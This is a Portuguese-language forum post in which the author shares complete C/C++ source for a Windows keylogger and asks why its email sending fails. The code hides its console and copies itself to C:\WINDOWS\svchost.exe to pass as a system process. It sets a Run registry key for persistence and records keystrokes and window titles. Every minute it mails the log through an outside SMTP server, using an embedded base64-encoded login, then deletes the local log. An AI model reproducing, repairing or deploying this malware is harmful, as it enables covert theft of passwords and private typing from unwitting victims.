Encontrei varias sources de keyloggers em C/C++ que diziam enviar os logs por email via SMTP, mas em sua maioria nem se quer registravam mesmo as teclas.
Depois de procurar muito mais achei um que chegou mais proximo do que eu queria, estava com alguns erros e tive que fazer algumas alterações. Ele está registransdo bem as teclas e salvando no log, o problema é quando vai enviar. Ele simplesmente não envia.
main.cpp
FUNCOES.H
email.h
Depois de procurar muito mais achei um que chegou mais proximo do que eu queria, estava com alguns erros e tive que fazer algumas alterações. Ele está registransdo bem as teclas e salvando no log, o problema é quando vai enviar. Ele simplesmente não envia.
main.cpp
Código:
#include "FUNCOES.H" //Header com funçoes #include "email.h" //Header com funçao do email int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevHinstance,LPSTR lpCmdLine,int nShowCmd){ //Inicialização FreeConsole(); copiar(); //Função para auto-cópia reg(); //Função para adicionar valor ao registro GetLocalTime(&time); //Obtém tempo mim = time.wMinute; //Armazena o(s) minuto(s), no(s) qual(quais) o programa iniciou. while(1) //Loop { Sleep(1); //Pause GetLocalTime(&time); //Obtém tempo t = time.wMinute-mim; //Subtrai o tempo atual, com o tempo de inicialização if(t<0) //Caso seja um valor negativo, converte para minutos t = 60 + t; if(t==tempo){ //Verifica se a diferença é igual ao tempo especificado. enviar(); //Se sim, envia o log e atualiza o tempo. mim = time.wMinute; } janela = GetForegroundWindow(); //Obtém HWND da janela em foco if(janela!=janela_aux){ //Compara se é diferente da útltima obtida. janela_aux = janela; //Se sim, iguala os HWND's. GetWindowText(janela,titulo,255); //Obtém o título da janela if(strcmp(titulo,"")!=0){ //Compara se o título não está em branco. log = fopen(log_file,"a+"); //Caso não, abre o arquivo de log. fprintf(log,"\n[%s]\n{TECLAS DIGITADAS}:\n",titulo); //Adiciona o título da janela, e uma referência às teclas digitadas. fclose(log); //Fecha o log. }} if(GetAsyncKeyState(0x8)==-32767){ //Verifica a tecla BACKSPACE if(strlen(teclas)>0){ //Se houverem teclas digitadas no buffer. teclas_aux = new char[strlen(teclas)]; //Cria uma variável com tamanho do buffer. memset(teclas_aux,0,strlen(teclas)); //Aloca o espaço na variável. strncpy(teclas_aux,teclas,strlen(teclas)-1); //Copia até a penúltima tecla do buffer para a variável. strcpy(teclas,teclas_aux); //Retorna o conteúdo da variável auxiliar ao buffer principal. delete[] teclas_aux; //Remove a alocação da variável. } } if(GetAsyncKeyState(0xD)==-32767){ //Verifica por ENTER strcat(teclas,"\n"); //Adiciona quebra de linha. log = fopen(log_file,"a+"); //Abre o arquivo de log. fputs(teclas,log); //Adiciona as teclas armazenadas no buffer no arquivo. fclose(log); //Fecha o arquivo. sprintf(teclas,""); //Limpa o buffer. } if(GetAsyncKeyState(0x10)) //Verifica por SHIFT logar_shift(); //Chama pela função respectiva. if(GetAsyncKeyState(0x20)==-32767) //Verica ESPAÇO. strcat(teclas," "); //Adiciona o espaço ao buffer. caps = GetKeyState(0x14); //Verifica CAPS-LOCK switch(caps) { case 0: logar_normal(); //Se caps lock estiver desligado break; case 1: logar_caps(); //Se estiver ligado } for(num=48;num<=57;num++) //Loga números if(GetAsyncKeyState(num)==-32767) sprintf(teclas,"%s%c",teclas,num); //Loga teclado númerico. (0123...9 +*/-.) for(num2=96;num2<=105;num2++) if(GetAsyncKeyState(num2)==-32767) sprintf(teclas,"%s%c",teclas,num2-48); //Loga outros caracteres. if(GetAsyncKeyState(106)==-32767) sprintf(teclas,"%s*",teclas); if(GetAsyncKeyState(107)==-32767) sprintf(teclas,"%s+",teclas); if(GetAsyncKeyState(109)==-32767) sprintf(teclas,"%s-",teclas); if(GetAsyncKeyState(110)==-32767) sprintf(teclas,"%s.",teclas); if(GetAsyncKeyState(111)==-32767) sprintf(teclas,"%s/",teclas); if(GetAsyncKeyState(186)==-32767) sprintf(teclas,"%s;",teclas); if(GetAsyncKeyState(187)==-32767) sprintf(teclas,"%s=",teclas); if(GetAsyncKeyState(188)==-32767) sprintf(teclas,"%s,",teclas); if(GetAsyncKeyState(189)==-32767) sprintf(teclas,"%s-",teclas); if(GetAsyncKeyState(190)==-32767) sprintf(teclas,"%s.",teclas); if(GetAsyncKeyState(191)==-32767) sprintf(teclas,"%s/",teclas); if(GetAsyncKeyState(192)==-32767) sprintf(teclas,"%s`",teclas); if(GetAsyncKeyState(219)==-32767) sprintf(teclas,"%s[",teclas); if(GetAsyncKeyState(220)==-32767) sprintf(teclas,"%s\\",teclas); if(GetAsyncKeyState(221)==-32767) sprintf(teclas,"%s]",teclas); if(GetAsyncKeyState(222)==-32767) sprintf(teclas,"%s'",teclas); } return 0; }
FUNCOES.H
Código:
#include <io.h> //Entrada e saída. #include <stdio.h> //Entrada e saída padronizados. #include <string.h> //Header para manipulamento de string. #include <windows.h> //Header do windows. #include <winsock.h> //Header do winsock. #pragma comment(lib,"wsock32") //Lib do winsock // // SYSTEMTIME time; //Struct para capturar tempo. FILE *log; //Arquivo. //Variáveis gerais char teclas[9999],*teclas_aux,titulo[255],*buffer,header[500]; short caps; int c,n,num,num2,mim,s,t; HWND janela,janela_aux; //Variáveis do winsock WSADATA data; SOCKET winsock; SOCKADDR_IN sock; HOSTENT *host; void copiar(){ //Função de cópia char buffer[255]; GetModuleFileName(GetModuleHandle(NULL),buffer,255); //Obtém caminho completo de onde o arquivo foi executado. CopyFile(buffer,"c:\\WINDOWS\\svchost.exe",0); //Faz cópia do arquivo para C:\WINDOWS\SYSTEM\WinLogon.exe } void reg(){ //Função de registro HKEY chave; RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",&chave); //Abre chave de inicialização automática. RegSetValueEx(chave,"svchost",0,1,(LPBYTE)"c:\\WINDOWS\\svchost.exe",32); //Cria valor no registro. RegCloseKey(chave); //Fecha chave. } void logar_normal(){ //Loga quando nem shift nem caps lock, estiverem acionados. for(n=65;n<=90;n++) //Letras if(GetAsyncKeyState(n)==-32767) sprintf(teclas,"%s%c",teclas,n+32); } void logar_shift(){ //Loga quando shift está pressionado. for(s=48;s<=57;s++) //Números que combinados com shift, formarão símbolos. if(GetAsyncKeyState(s)==-32767) switch(s) { case 48: sprintf(teclas,"%s)",teclas); break; case 49: sprintf(teclas,"%s!",teclas); break; case 50: sprintf(teclas,"%s@",teclas); break; case 51: sprintf(teclas,"%s#",teclas); break; case 52: sprintf(teclas,"%s$",teclas); break; case 53: sprintf(teclas,"%s%%",teclas); break; case 54: sprintf(teclas,"%s^",teclas); break; case 55: sprintf(teclas,"%s%&",teclas); break; case 56: sprintf(teclas,"%s*",teclas); break; case 57: sprintf(teclas,"%s(",teclas); break; } //Outros símbolos if(GetAsyncKeyState(186)==-32767) sprintf(teclas,"%s:",teclas); if(GetAsyncKeyState(187)==-32767) sprintf(teclas,"%s+",teclas); if(GetAsyncKeyState(188)==-32767) sprintf(teclas,"%s<",teclas); if(GetAsyncKeyState(189)==-32767) sprintf(teclas,"%s_",teclas); if(GetAsyncKeyState(190)==-32767) sprintf(teclas,"%s>",teclas); if(GetAsyncKeyState(191)==-32767) sprintf(teclas,"%s?",teclas); if(GetAsyncKeyState(192)==-32767) sprintf(teclas,"%s~",teclas); if(GetAsyncKeyState(219)==-32767) sprintf(teclas,"%s{",teclas); if(GetAsyncKeyState(220)==-32767) sprintf(teclas,"%s|",teclas); if(GetAsyncKeyState(221)==-32767) sprintf(teclas,"%s}",teclas); if(GetAsyncKeyState(222)==-32767) sprintf(teclas,"%s\"",teclas); switch(caps) //Verifica o caps lock. { case 0: //Se desligado,loga letras em maiúsculas. for(s=65;s<=90;s++) if(GetAsyncKeyState(s)==-32767) sprintf(teclas,"%s%c",teclas,s); break; case 1: //Se ligado, loga letras em minúsculas. for(s=65;s<=90;s++) if(GetAsyncKeyState(s)==-32767) sprintf(teclas,"%s%c",teclas,s+32); } } void logar_caps(){ //Loga quando capslock estiver acionado. for(c=65;c<=90;c++) //Letras if(GetAsyncKeyState(c)==-32767) sprintf(teclas,"%s%c",teclas,c); }
email.h
Código:
#include <winsock.h> #include <windows.h> #include <string.h> #include <io.h> #include <stdio.h> #define SMTP "smtps.bol.com.br" //Seu servidor SMTP #define EMAIL "receiver.dois@bol.com.br" //Seu email #define USER "cmVjZWl2ZXIuZG9pcw==" //Seu login em BASE64. #define PASS "a2V5a2V5MDI0Nw==" //Sua senha em BASE64. #define log_file "C:\\WINDOWS\\log.txt" //Arquivo de log. #define tempo 1 //Intervalo de envio em MINUTOS. //Função de envio void enviar(){ log = fopen(log_file,"rb"); //Abre o arquivo de log para leitura binária. buffer = new char[filelength(log->_file)]; //Cria variável com o tamanho do arquivo. ZeroMemory(buffer,filelength(log->_file)); //Aloca espaço. fread(buffer,filelength(log->_file)-2,1,log); //Obtém conteúdo do aquivo e salva na variável. fclose(log); //Fecha o arquivo. //Funções do winsock. WSAStartup(MAKEWORD(1,1),&data); //Inicializa data. winsock = socket(AF_INET,SOCK_STREAM,0); //Cria socket TCP. host= gethostbyname(SMTP); //Obtém IP do host. if(host==0) //Encerra caso o host seja desconhecido. ExitProcess(0); sock.sin_family=AF_INET; //Família do socket. memcpy(&sock.sin_addr,host->h_addr_list[0],host->h_length); //Copia o IP do servidor para o socket. sock.sin_port=htons(587); //Porta -> SMTP //Abaixo uma requisição em SMTP. if(connect(winsock,(SOCKADDR*)&sock,sizeof(sock))!=SOCKET_ERROR){ //Caso haja conexão: sprintf(header,"EHLO localhost\r\nauth login\r\n%s\r\n%s\r\n",USER,PASS); //Envia procedimento de login sprintf(header,"%sMAIL FROM: <s>\r\nRCPT TO: <s>\r\n",header,EMAIL,EMAIL); //Envia remetente e destinatário. sprintf(header,"%sDATA\r\nFrom:%s\r\nTo:%s\r\nSubject: LOG\r\nMIME-VERSION: 1.0\r\nContent-type: text/plain\r\n",header,EMAIL,EMAIL); //Ajusta o assunto, e prepara o email para enviar o anexo. strcat(header,"Content-Disposition: attachment;filename=\"log.txt\"\r\n"); //Anexa o arquivo de log. strcat(header,"Content-Tranfer-Enconding: quote-printable\r\n\r\n"); //Tranfere em texto puro. send(winsock,header,strlen(header),0); //Envia todos os headers. send(winsock,buffer,strlen(buffer),0); //Envia conteúdo do log. send(winsock,"\r\n.\r\n",strlen("\r\n.\r\n\r\n"),0); //Encerra e envia o email. DeleteFile(log_file); //Deleta o arquivo de LOG. } else { ExitProcess(0); //Encerra em um erro de conexão. } closesocket(winsock); //Fecha socket. WSACleanup(); //Limpa data. }
Comment